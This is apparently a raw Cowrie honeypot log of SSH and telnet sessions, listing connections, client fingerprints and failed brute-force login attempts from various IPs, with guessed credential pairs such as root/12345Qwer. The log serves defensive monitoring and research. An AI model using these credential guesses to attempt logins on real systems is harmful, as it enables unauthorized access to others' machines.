{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.334626Z","src_ip":"46.19.67.181","session":"23aa933c0c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333555","message":"login attempt [root/111333555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.667948Z","src_ip":"46.19.67.181","session":"23aa933c0c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37148070335388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.829687Z","src_ip":"172.81.62.90","session":"a1f22e9cfe16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:16.781486Z","src_ip":"46.19.67.181","session":"23aa933c0c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.44198203086853,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:41.760543Z","src_ip":"128.199.8.54","session":"7d12b1819bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49178,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e18a96230b","protocol":"ssh","message":"New connection: 103.172.78.219:49178 (10.17.0.5:22) [session: 43e18a96230b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:05.876263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:05.880852Z","src_ip":"103.172.78.219","session":"43e18a96230b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:06.138868Z","src_ip":"103.172.78.219","session":"43e18a96230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18061981","message":"login attempt [root/18061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:06.922143Z","src_ip":"103.172.78.219","session":"43e18a96230b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:08.185225Z","src_ip":"103.172.78.219","session":"43e18a96230b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55618,"dst_ip":"10.17.0.5","dst_port":22,"session":"3770bdcb517e","protocol":"ssh","message":"New connection: 103.27.238.120:55618 (10.17.0.5:22) [session: 3770bdcb517e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:11.794847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:11.804950Z","src_ip":"103.27.238.120","session":"3770bdcb517e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.071561Z","src_ip":"103.27.238.120","session":"3770bdcb517e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e30f07393f2","protocol":"ssh","message":"New connection: 161.132.50.236:60690 (159.203.135.109:22) [session: 7e30f07393f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.094689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.099355Z","src_ip":"161.132.50.236","session":"7e30f07393f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.187883Z","src_ip":"161.132.50.236","session":"7e30f07393f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andres","password":"andres123","message":"login attempt [andres/andres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.581748Z","src_ip":"161.132.50.236","session":"7e30f07393f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nesterenko","message":"login attempt [root/nesterenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.865806Z","src_ip":"103.27.238.120","session":"3770bdcb517e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.74396514892578,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:12.894578Z","src_ip":"94.23.66.112","session":"4fe4f4e2c05a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:13.674013Z","src_ip":"161.132.50.236","session":"7e30f07393f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:53:14.130266Z","src_ip":"103.27.238.120","session":"3770bdcb517e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32768,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af5b1fb9103","protocol":"telnet","message":"New connection: 172.81.62.90:32768 (159.203.135.109:23) [session: 3af5b1fb9103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:31.458305Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":33632,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f31e1399f57","protocol":"ssh","message":"New connection: 161.132.50.236:33632 (159.203.135.109:22) [session: 0f31e1399f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.208977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.213217Z","src_ip":"161.132.50.236","session":"0f31e1399f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59360,"dst_ip":"10.17.0.5","dst_port":22,"session":"526a55361bd7","protocol":"ssh","message":"New connection: 14.63.196.175:59360 (10.17.0.5:22) [session: 526a55361bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.274769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.279716Z","src_ip":"14.63.196.175","session":"526a55361bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.301214Z","src_ip":"161.132.50.236","session":"0f31e1399f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.485922Z","src_ip":"14.63.196.175","session":"526a55361bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad@123","message":"login attempt [mamad/mamad@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:54.689600Z","src_ip":"161.132.50.236","session":"0f31e1399f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Qwer","message":"login attempt [root/12345Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:55.345325Z","src_ip":"14.63.196.175","session":"526a55361bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:55.781612Z","src_ip":"161.132.50.236","session":"0f31e1399f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:54:56.554739Z","src_ip":"14.63.196.175","session":"526a55361bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59888,"dst_ip":"10.17.0.5","dst_port":22,"session":"52f8f15609e5","protocol":"ssh","message":"New connection: 141.11.88.14:59888 (10.17.0.5:22) [session: 52f8f15609e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:06.052757Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:06.136714Z","src_ip":"141.11.88.14","session":"52f8f15609e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.75706338882446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:09.215274Z","src_ip":"172.81.62.90","session":"3af5b1fb9103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.126.105.149","src_port":9262,"dst_ip":"10.17.0.5","dst_port":22,"session":"5caa2eda876d","protocol":"ssh","message":"New connection: 200.126.105.149:9262 (10.17.0.5:22) [session: 5caa2eda876d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:24.131444Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:24.139412Z","src_ip":"200.126.105.149","session":"5caa2eda876d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51096,"dst_ip":"10.17.0.5","dst_port":22,"session":"508753aca546","protocol":"ssh","message":"New connection: 141.11.88.14:51096 (10.17.0.5:22) [session: 508753aca546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:24.796230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:24.800948Z","src_ip":"141.11.88.14","session":"508753aca546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:24.887396Z","src_ip":"141.11.88.14","session":"508753aca546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:25.146793Z","src_ip":"141.11.88.14","session":"508753aca546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54164,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f3fd001e81a","protocol":"ssh","message":"New connection: 38.93.206.2:54164 (159.203.135.109:22) [session: 6f3fd001e81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:25.909338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:25.915059Z","src_ip":"38.93.206.2","session":"6f3fd001e81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:25.965917Z","src_ip":"38.93.206.2","session":"6f3fd001e81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112234","message":"login attempt [root/112234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:26.122339Z","src_ip":"38.93.206.2","session":"6f3fd001e81a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:26.426785Z","src_ip":"141.11.88.14","session":"508753aca546","protocol":"ssh"}
